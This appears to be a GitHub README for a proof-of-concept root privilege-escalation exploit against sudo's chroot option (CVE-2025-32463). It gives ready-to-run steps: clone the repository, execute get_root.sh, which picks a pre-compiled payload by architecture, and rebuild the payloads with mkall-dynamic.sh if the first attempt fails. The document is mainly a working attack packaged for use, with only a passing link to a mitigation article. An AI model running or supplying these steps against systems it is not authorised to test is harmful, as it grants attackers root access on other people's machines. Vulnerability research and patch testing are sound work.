
Privilege escalation to root using sudo chroot, NO NEED for gcc installed.
Privilege escalation to root via sudo, with NO NEED for gcc to be installed on the target.
Discovered by Rich Mirch.
I have written an article explaining the attack mitigation here: Ubuntu Unattended-Upgrades
# get_root.sh and get_root.py do the same thing.
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
./get_root.sh
No gcc is required on the target machine. The PoC works by checking the current architecture (e.g., x86_64, aarch64), then executing the corresponding dynamically pre-compiled payload. If that fails, it defaults to the static one.
If the exploit fails on your machine, you can still compile it using:
./mkall-dynamic.sh
# then run
./get_root.sh
But you will obviously need a compiler at this point.